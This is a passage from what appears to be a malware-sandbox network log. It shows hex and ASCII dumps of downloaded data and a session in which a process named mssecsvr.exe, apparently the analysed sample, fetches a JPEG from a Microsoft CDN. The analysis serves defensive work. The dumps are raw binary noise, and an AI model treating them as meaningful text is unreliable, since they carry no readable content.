47 d0 6e d7 fc bd 6b 57 57 c4 ef ed b2 5b 0d b7 fe 21 87 dc 17 37 23 34 b1 82 46 85 79 78 29 61 6f 0f 77 Data Ascii: 8KPe_\z>*f^0Y\4wN:\|Svid[Uac;P{.iKYrp'toj_uJ@b/5TV_,( >Mv<S}%}kf"(U>lpUpA!s]GnkWW[!7#4Fyx)aow
2022-07-20 17:31:07 UTC	5822	IN	Data Raw: e9 d5 17 53 bb 24 c1 a7 92 21 72 24 85 85 be b5 e7 a3 22 d0 ab 23 47 91 b3 c6 36 93 87 23 eb 93 11 63 ca 0c 05 b4 26 42 eb 68 53 d7 8e 1f 1d 72 de ce b6 95 eb 14 99 74 ee d5 b2 ca 3b 9c 5a 80 71 d8 38 56 d8 98 d1 5b 1a 22 78 9e ca d6 cc a0 a9 c8 0b 0f e8 b0 bd 63 55 a8 91 76 39 84 88 24 5e ca bd 8f d0 7b 3c ca f8 ab 65 f6 3f ed 8c 39 24 54 3b 1b fb c3 0e 49 ac db 21 e6 2a e4 ca 5a 9d 4e 2c f7 92 fe cb 97 a6 65 89 07 c4 16 b5 af c4 77 6b 7a 58 f0 96 66 ac e0 93 cc 2c e9 02 6b 00 15 6e c1 e8 ad ed 0c d7 bc 72 a4 7e d5 b3 c6 98 e3 2f 24 6a 56 3c 38 d2 aa 96 47 6b 86 5e 9e 62 6d cf 71 78 13 e5 c7 04 61 c5 7d 15 af 1f 13 d5 b5 95 40 4f 29 68 ad 61 6b f1 a9 7b 9c f6 b4 a2 4c 15 8d 5d 1d 8d b4 30 6b 7e 83 49 23 5c 74 ab 46 cb 27 36 32 06 4b 2b aa 37 1b 90 3f ab Data Ascii: S$!r$"#G6#c&BhSrt;Zq8V["xcUv9$^{<e?9$T;I!*ZN,ewkzXf,knr~/$jV<8Gk^bmqxa}@O)hak{L]0k~I#\tF'62K+7?
2022-07-20 17:31:07 UTC	5829	IN	Data Raw: b0 b1 0e ac a1 95 87 a4 1a 94 73 f7 1d bb c4 e0 a8 f2 b6 3c 66 01 c0 9e 2d f4 fd 9a 49 4e a7 33 71 a1 54 12 6a c8 41 6c 7c 41 34 60 93 71 c3 50 fa 2b 37 68 67 a5 8b 0f 34 0e c8 89 63 72 aa 6f 6f 4d 5a 72 70 de a9 32 d4 38 48 d1 75 2e 49 f4 8f 45 66 ed ac 1a 57 1f 4c 94 e5 41 1b 72 9b 8f a6 b4 4e 4e 77 a0 57 15 c2 ac 61 1e ec 3d 1f 41 ac d9 b5 5c 6c 5c 7c 8d 1d f6 b7 d2 2a 51 d6 b3 3f 53 24 90 e2 c8 b7 8d 80 20 f1 e3 fd 55 f1 50 9b 45 bb d7 c0 e4 99 0d 0a 97 d4 4b 5b b7 fb d4 6e 0f b8 b2 f1 20 db e7 8a 19 12 47 5b c4 0f 37 e8 f5 a9 bd cc 70 dd 56 c9 b0 be 46 46 a7 b6 ab a0 ee f1 bf 0f 0d 74 26 7d 6d 2c a0 ae ee a5 1b 8f 13 f4 52 b3 0b b4 ea d0 0f 2e 66 8b 5c 61 ae 01 ff 00 6d 66 b5 3e 3b 2b 86 d0 31 9c b1 b9 ab 39 24 39 e5 6c f3 0e 52 c0 57 52 4a 40 61 e9 Data Ascii: s<f-IN3qTjAl\|A4`qP+7hg4crooMZrp28Hu.IEfWLArNNwWa=A\l\\|*Q?S$ UPEK[n G[7pVFFt&}m,R.f\amf>;+19$9lRWRJ@a
2022-07-20 17:31:07 UTC	5845	IN	Data Raw: a1 88 58 2f 02 38 de 93 ab 64 c1 3c 21 a5 8f a7 0c 9a 14 12 47 0b de fe 1a cd d5 4c b4 5a c8 d1 5c e3 c9 13 14 7f 4f 10 47 61 ad 5b 4f 63 36 c9 f6 8d 92 5c e9 49 6b ac 20 f1 7f af f2 d7 db ae 7c fd c2 c6 be b9 d9 87 b7 79 35 f4 03 33 d3 a5 3b 47 da 2c 08 3f 51 ad f1 b9 52 65 7a 71 70 43 8c e6 39 54 f6 7a 0d 5b d8 cd a0 9c a3 8d c7 65 64 99 98 31 a6 7c 1c e4 ca d2 19 03 06 2a dd 8d 6e f2 e9 ad d2 e5 5e 27 45 2d 01 bc fc e1 9c 43 c7 1f 4e 22 2e 17 87 a7 ec 72 d7 2e 2a 70 d2 79 11 92 f2 ca 90 f9 63 6f 9a 2e b4 93 c8 8c 49 ba 2a 02 07 f8 8c f5 da b2 fc 4d 2b 79 28 cd b0 41 aa d8 d9 00 9f a2 45 2b fb 4b ae b5 e4 57 24 5b 97 0a 4d ba 14 8e 52 a7 b4 82 a6 e0 8a 86 e5 89 99 fc 86 e6 ad 06 10 f2 fe 74 f1 64 24 11 28 75 95 82 e9 60 08 e3 f6 ab 3c b0 97 21 c1 b0 93 Data Ascii: X/8d<!GLZ\OGa[Oc6\Ik \|y53;G,?QRezqpC9Tz[ed1\|n^'E-CN".r.pyco.I*M+y(AE+KW$[MRtd$(u`<!
2022-07-20 17:31:07 UTC	5861	IN	Data Raw: 40 ce 98 a5 36 ea 3a 1f a0 04 0b fd aa 9d 06 34 63 06 ed e3 4e 40 ef c8 02 38 31 06 97 20 82 29 30 e4 8d 09 88 a6 af a1 d6 e3 fd da 73 22 82 1f 98 91 47 be c7 e3 e9 e9 b1 fe af 79 69 c7 e9 20 8d 72 e3 94 1e 94 04 db b4 9b 7f ea 77 a9 f1 fd 22 1f 04 8f 72 4d d7 e8 e5 17 34 34 32 d7 51 c1 d2 cc 0d ff 00 45 e9 24 22 1c 8e a4 67 52 4e 50 5b 8a 92 2d fd fa 7a 01 58 ca 6f 67 90 76 7d 3c 28 81 8f 42 dd e4 d3 fa 7b 6a 58 0e ea 4a 78 eb 36 fa 05 c0 a5 a0 11 c9 3b 78 8b 31 3e 80 7b 29 c0 14 66 99 4f 0b 12 df 41 35 4a a4 90 3e a1 c5 45 bf 40 a0 44 3c 59 b5 81 6e 3d 84 55 40 8b 83 51 ed 37 fd 35 23 3b 6a 00 6c 8a 08 fa be 8a 68 43 d0 81 da 2f 48 07 15 bf 11 4c 43 f4 70 a9 01 af 13 0b 13 e9 ec 34 48 11 74 af 44 80 ba 65 45 26 c0 ae e0 d0 03 11 42 9b da 86 03 cb 1b 72 Data Ascii: @6:4cN@81 )0s"Gyi rw"rM442QE$"gRNP[-zXogv}<(B{jXJx6;x1>{)fOA5J>E@D<Yn=U@Q75#;jlhC/HLCp4HtDeE&Br
2022-07-20 17:31:07 UTC	5869	IN	Data Raw: 02 38 38 4f 32 a3 5b 8a a0 d6 e3 ff 00 4d 1a b4 e7 24 15 b2 65 c2 81 94 a7 cc 4a 09 d2 6e 16 32 2f ca 8f 16 92 fd d7 f0 d1 66 26 6b 70 b2 32 b7 1d b5 f0 37 05 2c cc 84 45 28 e3 ad 94 6a 45 93 c5 16 4a fe dd 67 4c 92 54 19 1c ac 37 c7 72 92 29 56 f4 82 2c 45 6f 5b 49 50 40 62 ad 93 22 06 84 34 c0 5a 68 80 3b 6a 20 05 a4 7a 28 03 a0 93 c2 e6 d5 30 22 9b e3 e0 67 12 ce b0 c8 41 20 f6 03 c3 f5 2a 5d 46 53 9b ca db 74 9c 55 19 0f 6f 2b 7f 7a a7 80 03 73 3c 96 8c 75 63 cd a0 fd 0e bf da 4a 15 20 24 1f 95 e5 0c a4 17 16 90 0f 50 ff 00 e9 b5 4b 4d 0c a1 93 e5 ac 85 bb a2 90 3b 74 90 6e 07 b5 52 f2 71 dc 18 43 62 f2 c4 b2 5b 23 2d 82 63 8f 45 f9 cd bf 77 5e 7f 71 dd a5 d3 4f e2 fe a1 2d 85 77 5d 30 32 fc b9 ba 91 c4 7a bf fd 2a e4 c3 d5 e6 25 02 83 82 75 81 c0 9e Data Ascii: 88O2[M$eJn2/f&kp27,E(jEJgLT7r)V,Eo[IP@b"4Zh;j z(0"gA ]FStUo+zs<ucJ $PKM;tnRqCb[#-cEw^qO-w]02z%u
2022-07-20 17:31:07 UTC	5885	IN	Data Raw: 05 43 0e 15 40 3a 33 c7 4b 71 fa 29 30 2d b2 87 52 91 8e 60 6e 7f 45 64 9c 6e 32 28 d4 b3 81 6b af d1 fd da a6 e1 08 ff d0 c2 64 49 19 93 54 3d 96 15 e4 d5 38 d4 e4 1d 8c 81 9a ed e8 a5 77 00 cb 2c 23 c9 c6 87 12 31 ab 27 5b e9 fa 15 17 de bb 48 d5 9a 9a da d7 7f c2 e3 5f fb 80 5f c7 dd e1 3b 0e 76 3d cf 56 74 88 25 b8 dc a3 6a 75 ff 00 87 57 45 c6 f0 ca 5a 68 53 83 15 71 71 62 89 be 24 8f d4 7f a9 7f 0e b2 b5 f9 5a cf d3 4f dd d0 96 e4 39 af 23 2a 5f 93 c5 01 b2 8b 88 f4 f6 24 63 f3 66 97 fb b5 c9 4c 6b 77 fc 3f fd 9c c5 00 5c c9 27 c2 9e 48 e5 72 d2 44 e5 09 1d 97 5f 56 ba e9 55 65 a2 04 a4 0f 9d ba c9 98 fa 9e c3 d0 00 ec 00 7a b5 d7 8f 0a a2 34 4a 0b 5b 3e ec 62 43 04 87 90 9b 8f aa b2 cf 86 5f 24 2b 56 4d 56 cf 27 5b 77 c3 55 37 54 8d 9b 87 d2 d5 97 Data Ascii: C@:3Kq)0-R`nEdn2(kdIT=8w,#1'[H__;v=Vt%juWEZhSqqb$ZO9#*_$cfLkw?\'HrD_VUez4J[>bC_$+VMV'[wU7T
2022-07-20 17:31:07 UTC	5901	IN	Data Raw: 65 40 df 88 39 fd cb fa f5 cd 4a da ee 17 4f fa 7f 53 fd 3f 9f f6 c1 05 70 90 f9 a3 66 93 0a 73 fe 6a 3d 40 31 ed 0d fb d5 f0 bf e1 cc 95 eb 63 fd ed 78 bf e2 61 2f 6d 8f 2f c8 dc f3 27 ce 8d 73 0f 34 40 63 80 de 05 1e ef 47 eb d6 77 53 5f 98 6e d2 6b fc a3 14 b8 d9 12 6c f3 b2 81 39 37 04 ea 4b 5b 44 8d 1f b6 fd de 4a c3 0d bd d6 b8 f9 2f f3 92 8d 34 f8 99 19 79 f0 e3 68 78 b1 60 70 a1 01 1d 36 8d 46 ae a7 27 37 36 8a ee b2 76 b2 af 97 1d 0a 4c 1c 32 46 76 f8 77 68 25 49 52 33 2c 6b 1a 9e 36 89 1f ff 00 53 e2 54 3c 93 7e 45 2d 50 cd bf 70 5f 34 e1 08 27 0a 37 5c 75 2d 19 04 81 20 fd cb f8 b4 7f 5e a9 bf 75 69 fc 5a 79 44 d4 0d cd dc 5f a0 d1 ee 48 d2 89 21 61 1c aa 39 98 7e 5c bf bd c7 9b e2 78 fd 7a c2 d9 1c 75 fc bd 39 09 89 d4 93 ca 9b 91 5d a5 a4 92 Data Ascii: e@9JOS?pfsj=@1cxa/m/'s4@cGwS_nkl97K[DJ/4yhx`p6F'76vL2Fvwh%IR3,k6ST<~E-Pp_4'7\u- ^uiZyD_H!a9~\xzu9]
2022-07-20 17:31:07 UTC	5909	IN	Data Raw: 93 f2 e4 af 66 55 9d b1 9e 86 3b f1 d4 d9 48 c3 1d ba 31 da 6c 8e 1a 40 e2 13 48 e4 f7 9e 04 8d 6b a6 38 e9 e6 1d 9f 2d 41 d9 bb ec 9e 5f c7 98 e5 03 3b 2b 25 c0 23 f1 46 b5 6a 9e 7c 74 64 b8 1b ba f9 84 64 6d 91 e5 e1 d9 cc 8e 14 2a df 51 d2 ba e7 8f ed a5 4e 4b f4 c9 11 25 5d ae 5c 3d f1 f0 e5 8e 30 92 09 46 b0 2d 6b 42 3a fc f1 fe 1b 7b 75 cf 4a ab 5a ba 71 b7 af fd b2 22 06 61 c6 37 a9 53 32 35 66 48 66 96 6e 9b 30 b1 7f dc cb f9 6f f9 75 76 5c b6 fa 7a cd 5e c6 6f 3d 04 33 91 97 21 eb 93 76 40 a4 95 27 99 63 e6 e5 ee d7 0d a5 f8 1c cd 06 70 5f 1b 0f 11 e7 05 8e 44 ab a2 38 9b bc 14 9d 32 4b c9 fb 29 df a1 25 5a cc f5 8d 22 05 59 24 cd 4c 29 fb e8 3a 92 28 f0 fe 5c 75 cf 9a f6 75 76 7f 62 84 c0 45 cf 68 51 6e 35 ea fe 5f 81 d2 bc af eb 34 48 cb ee 0e Data Ascii: fU;H1l@Hk8-A_;+%#Fj\|tddm*QNK%]\=0F-kB:{uJZq"a7S25fHfn0ouv\z^o=3!v@'cp_D82K)%Z"Y$L):(\uuvbEhQn5_4H
2022-07-20 17:31:07 UTC	5925	IN	Data Raw: ae 24 bc 08 e4 6a b6 fc 1c 56 81 f6 e2 ba 23 98 1d 60 78 fd 4e 4f c3 5a 6e a9 1a ab 02 a4 da 60 6b 45 28 08 aa 3e 12 5a dc 7b cd 2b ad 68 c9 0a ef f0 99 d7 15 63 25 64 10 01 cb c2 c2 fe b5 48 c0 9b 4e 28 4d d4 62 c8 56 48 c8 31 92 47 02 e4 6a d3 cf df d0 f4 99 55 1b 8f e7 e4 da 9c a1 71 d1 17 07 1d f5 12 c4 72 b3 44 fd cc 4f e1 77 29 44 a1 35 24 9f fc 7f cb 5b f0 6c dc 57 3c 78 bc 1a 82 ba 96 f5 3a 9d f8 ff 00 5e b9 3d ae 3b 7e 03 27 35 02 79 bf 63 8f 6f 93 a5 3e a4 8a 35 0a 23 42 2f a4 7e 53 37 bb d5 25 67 5a ba da 0d 2a a4 b5 b0 f9 72 3d c3 62 cd 6d b4 4a af 22 06 87 aa c3 5b 08 cf bf 8f 54 1c 9a 64 6f 77 a2 b5 f6 f9 39 29 a8 2d ed 79 f9 db 1e c1 fc c5 17 4a cb 24 7d 36 b6 a5 e1 a9 1b a9 17 79 75 f7 6b 0a d6 d4 96 bd 41 65 a9 8a 6c ff 00 e5 f9 07 25 32 Data Ascii: $jV#`xNOZn`kE(>Z{+hc%dHN(MbVH1GjUqrDOw)D5$[lW<x:^=;~'5yco>5#B/~S7%gZ*r=bmJ"[Tdow9)-yJ$}6yukAel%2
2022-07-20 17:31:07 UTC	5941	IN	Data Raw: 4c ab 34 51 30 71 ab 88 53 51 65 20 ca 7e 63 f2 7e c9 9b 2c 92 64 44 53 25 80 b1 42 42 b7 e5 c8 a8 be ee 88 82 54 83 30 b6 38 70 d0 ae 39 93 4b 78 19 cb 28 fb 1a bb b4 b6 28 93 69 f2 91 3b dc 5b ac 2d 65 57 d7 2a 11 d9 cb a3 5c 6f fd 7a 95 59 64 58 2b bc 79 77 1b 2f 7c 8b 71 84 69 91 48 6e 1d d9 2e 0a 6a 7f b0 d5 a5 92 9d 04 96 85 18 73 96 5c fc ad b4 a9 59 31 55 59 8f a0 ea ef a7 dc d4 95 5c b5 82 a4 b3 fa 2a 8a 3b 6a 00 63 0a 00 6d a8 01 0b 83 4c 04 cb 48 06 88 bd 34 48 1c 31 1e c1 40 0c 10 9f a2 98 09 a0 63 f5 52 90 1c b8 7f 4f 65 0e c1 03 5b 15 7b 00 14 4b 08 20 7c 06 3c 17 81 ff 00 ba ab 90 41 c1 83 20 ed a2 50 40 be 49 bb 0d 12 10 74 6d 6c 78 de 8e 61 07 3f 95 37 a4 9a 39 84 1c fe 5a e3 80 a7 c8 20 6b 6d 93 0f ac 51 cd 04 1d 5d a6 66 37 f4 52 e6 82 Data Ascii: L4Q0qSQe ~c~,dDS%BBT08p9Kx((i;[-eW\ozYdX+yw/\|qiHn.js\Y1UY\;jcmLH4H1@cROe[{K \|<A P@Itmlxa?79Z kmQ]f7R
2022-07-20 17:31:07 UTC	5944	IN	Data Raw: 6f ae ff 00 cc f2 7d 72 ea 86 ed 0f 83 82 7e 6f 79 07 a0 55 80 16 3c cd e0 d1 a3 9b 5d 6d 86 89 be a3 56 a1 10 f9 6b 64 86 6d bc 4d 31 12 4c 79 ed 71 dd 6f c2 d1 f8 d5 d6 ea b7 39 ed 66 8f 43 da a1 74 85 31 83 15 0c 18 40 4b 73 a1 03 5e 89 3e cd 4d 17 87 e0 26 41 5b 6f 98 e5 10 c9 93 12 6b 68 1a d9 11 8e 12 03 7e 9c 92 ac 3d d6 87 fb 75 18 f2 35 ab 3a 15 91 77 07 64 82 69 c6 ed b6 37 ba 20 b2 a8 f0 3f 8e 2f b3 5a fb 52 f9 54 56 2f 6f db 74 7e 61 db d8 a0 b4 a0 7e ab 8a 33 53 9a e4 bc f5 31 68 c0 6d 68 71 64 23 23 95 8a b4 32 8b f6 1f 0f ed d7 87 91 c3 68 cd 92 df 4a 12 7d 03 8d 73 f8 90 73 cd 93 8d d7 cb 02 47 e3 26 04 c8 49 fd d4 9e e3 fb 7f b1 5e ff 00 6d 93 95 78 fa b1 fd 28 6d 5d 41 1e 56 6f f2 30 fd ff 00 eb 57 99 de 79 ed f7 4c 6f b9 a5 da f7 8f 94 Data Ascii: o}r~oyU<]mVkdmM1Lyqo9fCt1@Ks^>M&A[okh~=u5:wdi7 ?/ZRTV/ot~a~3S1hmhqd##2hJ}ssG&I^mx(m]AVo0WyLo
2022-07-20 17:31:07 UTC	5960	IN	Data Raw: 89 6a 0f f3 4f 9e 30 72 f1 5f 0b 03 aa 1d f8 31 28 53 97 c7 f1 79 b9 aa f2 e4 d2 11 af 97 c4 07 e5 4d 92 7d c7 23 ad 1b f4 52 02 18 c9 a4 31 d5 f8 6b 12 3f 23 3a d7 35 13 b3 33 93 d1 91 32 d0 a8 19 46 44 f1 33 c6 ba c5 75 71 b7 cc 68 ac be 05 a2 59 6d a6 66 63 f4 08 94 d6 90 c5 20 1d ff 00 cd a7 05 8e 34 2c ac d6 b3 3a af 14 3e aa af 71 da b3 bd da d8 43 bc a9 b3 c7 88 e7 3b 25 8b e4 4a 2e 9a c5 8d 9b bd de fc 4a 54 a7 a8 a7 69 d0 d4 f5 85 6c 23 a2 60 68 80 83 bd 50 28 01 75 a8 08 3a 26 14 0a 08 83 5e 46 8c 78 c6 a1 f5 38 a6 05 59 3a 5b 90 4c ac 77 51 93 15 f4 38 3e 9e eb c1 2f ad 0c 95 0d 27 af aa a5 ae 9d 1f 94 b6 93 a6 5c 60 ba 8e de 2a 78 e9 61 de 5a a2 62 09 8c 94 0a 0c 47 9e b6 c8 b7 0e 9e e2 a4 24 90 4f 1c 2e e4 f0 10 3f 2f 77 f8 f3 56 59 29 28 b4 Data Ascii: jO0r_1(SyM}#R1k?#:532FD3uqhYmfc 4,:>qC;%J.JTil#`hP(u:&^Fx8Y:[LwQ8>/'\`*xaZbG$O.?/wVY)(
2022-07-20 17:31:07 UTC	5976	IN	Data Raw: 3a f6 28 1f dd ae 1c 0a 2a ec 2a 83 b2 e4 66 ca 58 d3 b5 4a a8 fb 57 ae bc 4b 49 35 a9 e8 be 64 df d5 e7 87 1f 6f 75 2d 10 21 dd 46 ab 31 d3 ca 95 bf 73 dd 71 49 54 d3 94 1e 67 b9 cc fb d7 98 1d 9e c5 9a 55 42 40 ed d1 ca de cf 35 55 6c f8 72 7e 7b f5 ff 00 dc 22 ce 4f 53 c0 0b 87 b7 cd 92 6c a0 97 7b fd 00 77 6a f1 2e 35 93 9c ca 79 73 6d c5 87 3d f2 55 fa c9 0a 99 9e 43 cb 72 3b b1 b2 b7 c3 ff 00 31 58 57 57 af 93 1f 59 b3 19 95 33 c9 38 6c c7 2a 4b 99 25 40 0e 98 ed cd ca bf 8a cc 9f 89 51 7b 4b 00 76 f7 e6 49 b7 3f 75 0a f4 71 41 e5 5f 13 fa b2 4d fd ca da d6 9d 00 b5 e5 1d ba 18 44 9b e6 6f c0 c6 04 af d6 de 1a 55 fd 5a fe df c8 45 9f 81 1e c0 7f 9a e7 cf bc ee 2f a6 28 cf 51 af dd 07 f0 d3 ee 25 5c 4b d7 ed 1a 6d a0 03 cc 9b fb 6f b9 9d 45 5d 30 a1 Data Ascii: :(*fXJWKI5dou-!F1sqITgUB@5Ulr~{"OSl{wj.5ysm=UCr;1XWWY38lK%@Q{KvI?uqA_MDoUZE/(Q%\KmoE]0
2022-07-20 17:31:07 UTC	5980	IN	Data Raw: b7 61 dd 16 3c ed ab d5 ae 9a dd 70 72 54 9e bb b1 64 09 0e 34 87 8b 40 ef 89 21 fa 62 98 6b c5 d5 f6 25 4a 30 da 55 67 fd af b9 94 cd 9e 39 e6 3c 43 8b 9f 34 04 58 c6 e5 0f dd 35 ae 2d 10 2d 82 7e 48 4e 86 e1 04 87 d7 17 fe 9e 5a cb 35 f5 15 b6 35 3f ea 56 2b 36 6a 4a a0 95 10 5d ac 3b a0 36 9d 6f ea d1 7d 18 a8 33 fd 36 1d 39 32 f2 3f 2e 1f f6 6a 34 96 8e 7e 5a d8 32 03 62 24 66 cc 0f e6 10 7f db 5e 75 fc ab ec 92 6d bc bd 82 b8 f8 d2 4d 8e f6 91 a7 75 56 f5 96 35 ea e8 fb f5 be 1a b7 5e 4b f8 9f dc fd e9 5b 15 32 b1 ed 99 b8 9b 59 5e 04 94 7f 88 51 db fe 66 ba 32 d3 cc fe ff 00 ec 7f 7c 72 59 f2 76 ec 25 69 71 5f 81 d2 07 e9 5b 69 d3 47 6d 6e 3a 7c e3 66 33 ce 72 09 72 d1 3d 08 9a 7f a6 f5 58 ad 32 42 0a ef b2 98 37 19 a5 3d b1 63 44 07 e9 28 a9 59 67 Data Ascii: a<prTd4@!bk%J0Ug9<C4X5--~HNZ55?V+6jJ];6o}3692?.j4~Z2b$f^umMuV5^K[2Y^Qf2\|rYv%iq_[iGmn:\|f3rr=X2B7=cD(Yg
2022-07-20 17:31:07 UTC	5996	IN	Data Raw: 30 f0 3c 29 88 bb 89 b9 cd 05 81 6b ad f8 83 52 ea 99 6a d0 18 83 3a 39 f8 29 e3 f4 54 41 a2 b4 8f 69 2f 4c 08 ef 4c 42 2b e9 a0 08 dc 37 a3 b6 9a 11 d5 89 d8 13 f4 0a 4d 80 a3 6f 41 a6 d0 87 4c 8a 54 32 ff 00 4d 4a 02 a6 9e 37 ab 03 8e 2d 40 0f 85 75 9b 52 7a 01 34 b6 1c a2 92 02 ee 0e f4 98 90 98 02 6a 6b df 51 3c 07 dd a9 75 97 26 8a d0 11 6d de 0c 9b 0d 16 b0 b7 6f 03 ed 52 4a 0a 99 09 e1 c9 01 4d 44 f0 07 b2 f5 2e 4a 41 27 f9 56 8f 94 2d 80 ed 06 a3 52 88 f6 b5 92 7b 88 fb 09 e2 7e 8a d2 fa 12 83 9f 2c b0 a7 2f 60 ac 66 4a 06 4d 39 43 d9 71 5a a4 4b 21 9f 22 56 5d 31 9b 7d 3f 4f dd a7 54 bc 49 64 b0 cc ce 97 6f 45 27 b8 10 e7 4a 12 3b 9e 1f 45 3a ee 67 7d 8a 72 48 71 b1 ef e9 b5 cf e9 34 37 2c e6 40 19 35 ce af 10 65 4d 40 dd 98 ff 00 db bd 54 ed 06 Data Ascii: 0<)kRj:9)TAi/LLB+7MoALT2MJ7-@uRz4jkQ<u&moRJMD.JA'V-R{~,/`fJM9CqZK!"V]1}?OTIdoE'J;E:g}rHq47,@5eM@T
2022-07-20 17:31:07 UTC	6012	IN	Data Raw: 5f 2f 75 45 a2 9b fe ea ae 4c 99 07 26 1e 16 24 ef 8d 9f 31 d4 a0 15 65 fa fc 1a 28 96 c1 9d 9f 7b c1 c4 3a 16 4c 87 41 d9 a1 b4 7f f6 29 c0 43 65 4f e7 53 e6 46 62 c6 4c 89 75 1e d2 75 70 f0 ff 00 db 5d 52 0e 24 f8 bb 36 66 40 d5 34 66 e7 d0 6c 5a 87 68 14 94 73 66 5c 19 1b 1f a2 a6 45 3c 59 9b 57 ea a7 72 ae aa 45 25 66 cf 95 d0 c6 cc 42 37 78 0e 17 fb 55 5c 60 97 64 54 7c d3 09 f7 74 71 91 72 1f 89 bb a7 5c 1c c2 5a 2b 1b f1 b9 3f 66 93 a9 49 85 20 f3 7e 16 32 04 c7 88 21 f5 cf fd b5 d2 e2 c4 cb 70 e5 ed db 8d db 22 53 2b 0f 41 1a 17 ee af 8a 8d 50 a4 bd 91 8f 89 1c 5a f1 39 58 10 05 8d 24 df 88 49 5e 42 91 ae ac ce 0d c4 fd 26 fe 15 a7 ff 00 01 19 cd df 32 49 cf 29 d1 19 ec 51 6f eb 78 aa aa 82 41 f1 63 16 b5 b8 0a b9 00 86 0e e0 fb 69 69 14 5c 91 61 Data Ascii: _/uEL&$1e({:LA)CeOSFbLuup]R$6f@4flZhsf\E<YWrE%fB7xU\`dT\|tqr\Z+?fI ~2!p"S+APZ9X$I^B&2I)QoxAcii\a
2022-07-20 17:31:07 UTC	6020	IN	Data Raw: d9 ba d9 08 d9 07 d0 fa d5 b9 47 a9 a9 bb 95 3c cd 25 17 32 3c bf 0e 0a 01 96 ba 64 d3 d8 4d ff 00 a9 59 f3 63 45 bd ab 3a 28 21 10 2c 4d 3b 8f 11 16 00 7a 8d 4d a0 68 bb ff 00 c7 64 dd 80 cb 92 75 5b 70 01 39 b4 fe ed a8 4e 36 02 a9 dd a1 f2 f6 bc 78 55 25 c8 06 da fd 03 fe de a5 09 3b 0d b0 2e 56 f1 36 6b f5 b2 5c bb fd 27 d1 f6 57 c3 5a 71 27 90 3e 59 b5 9b 81 56 91 0c ad 34 65 ea 93 81 11 88 98 1b d3 92 4b 78 18 d3 e4 4a 23 81 1a 42 38 90 a3 51 fd 9a 4d 8c d7 60 ec 2e c7 5c b6 57 3d 88 78 b7 ea 2d 66 30 ac 3e 54 8f bd 91 db e8 07 b7 f5 16 8e 42 2f c7 8f 89 b7 00 52 35 56 ec 05 b8 13 f6 52 8d c0 74 ae d9 16 32 1d 2b f4 91 fd 54 a7 b0 1c 81 a2 27 fc ba b4 af eb 37 05 a2 3e 20 5e f7 71 2f 53 35 c2 8f a0 54 ff 00 c0 40 cc bf 31 a8 25 31 63 16 b5 83 37 0f Data Ascii: G<%2<dMYcE:(!,M;zMhdu[p9N6xU%;.V6k\'WZq'>YV4eKxJ#B8QM`.\W=x-f0>TB/R5VRt2+T'7> ^q/S5T@1%1c7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.7	50618	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:06 UTC	317	OUT	GET /cms/api/am/imageFileData/RE4FqCe?ver=30b0 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:31:06 UTC	397	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4FqCe?ver=30b0 Last-Modified: Sun, 17 Jul 2022 19:45:29 GMT X-Source-Length: 692856 X-Datacenter: northeu X-ActivityId: c647aff5-c6fe-485e-83eb-b8ca0056aa90 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 692856 Cache-Control: public, max-age=180873 Expires: Fri, 22 Jul 2022 19:45:39 GMT Date: Wed, 20 Jul 2022 17:31:06 GMT Connection: close
2022-07-20 17:31:06 UTC	397	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 17:31:06 UTC	430	IN	Data Raw: 44 93 c6 cc 33 14 0d 9c ed 23 20 b0 24 90 07 35 f3 4e 9d 3c da 6d e2 5c 5b 1f 22 78 9b 74 7b 4f 20 1f 43 d7 9e fe b5 d2 f8 73 5b b2 f1 c6 93 1e 83 af ca 2d 2e 90 79 7a 5e a8 ff 00 7a de 42 09 11 b8 ff 00 9e 64 1d a3 a6 38 ac 3b cd 3e ef 4c ba b8 b1 bb b6 fb 1d e4 0d fb c5 5f 98 28 ce 06 1b ba 9e cd dc 73 5f 7f 83 c3 d2 c2 53 e4 8e fd cf 9c af 56 58 89 73 74 3a db 8f 27 c5 76 66 e6 ce 31 6f ac c5 19 6b 8b 45 e0 4e a3 93 2a fa 63 f8 97 9c 7d ee 01 c5 1a 46 93 f6 fd 3e e3 51 9e 51 67 a4 5a b6 c9 2f d8 7c a1 88 f9 51 47 56 90 9c 8d a0 fb f1 49 e0 5f 0b f9 e2 5f 12 6a 5a a4 9e 1e f0 de 97 3a ad ce a7 1c 61 a6 92 e0 9d cb 6b 02 9c ef 95 d7 92 08 da 14 e5 88 18 af 4b f8 51 f0 ab 58 fd ac fc 5c 67 68 bf e1 0f f8 67 a5 dc ec 92 2b 7e 00 0e d9 68 6d f2 0f 9b 74 e0 Data Ascii: D3# $5N<m\["xt{O Cs[-.yz^zBd8;>L_(s_SVXst:'vf1okEN*c}F>QQgZ/\|QGVI__jZ:akKQX\ghg+~hmt
